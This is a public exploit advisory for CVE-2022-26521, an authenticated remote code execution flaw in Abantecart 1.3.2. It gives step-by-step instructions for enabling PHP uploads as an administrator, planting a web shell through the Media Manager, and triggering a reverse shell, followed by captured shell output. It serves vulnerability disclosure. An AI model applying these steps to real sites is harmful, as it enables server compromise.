Remote Code Execution in Abantecart-1.3.2

2022.11.13
Risk: High
Local: No
Remote: Yes
CWE: CWE-434


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Exploit Title: Authenticated Remote Code Execution in Abantecart-1.3.2 # Remote Code Execution in Abantecart-1.3.2 and earlier allows remote attackers to execute arbitrary code via uploading a php web shell. Abantecart-1.3.2 and earlier allows remote authenticated administrators to execute arbitrary code by uploading an executable file, because the Uploadable File Types setting can be changed by an administrator. # Exploit Author: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane) #HTB profile: https://www.hackthebox.com/home/users/profile/2718 # Date: 3rd Mar'2022 # CVE ID: CVE-2022-26521 # Confirmed on release 1.3.2 # Vendor: https://www.abantecart.com/download ############################################### #Step1- Login with Admin Credentials #Step2- Uploading .php files is disabled by default hence we need to abuse the functionality: Goto Catalog=>Media Manager=>Images=>Edit=> Add php in Allowed file extensions #Step3- Now Goto Add Media=>Add Resource=> Upload php web shell #Step4- Copy the Resource URL location and execute it in the browser e.g. : Visit //IP_ADDR/resources/image/18/7a/4.php (Remove the //) and get the reverse shell: listening on [any] 4477 ... connect to [192.168.56.1] from (UNKNOWN) [192.168.56.130] 34532 Linux debian 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64 GNU/Linux 11:17:51 up 2:15, 1 user, load average: 1.91, 1.93, 1.52 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT bitnami tty1 - 09:05 1:05m 0.20s 0.01s -bash uid=1(daemon) gid=1(daemon) groups=1(daemon) /bin/sh: 0: can't access tty; job control turned off $ whoami daemon $ id uid=1(daemon) gid=1(daemon) groups=1(daemon) $

References:

https://github.com/sartlabs/0days/blob/main/Abantecart/Exploit.txt


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top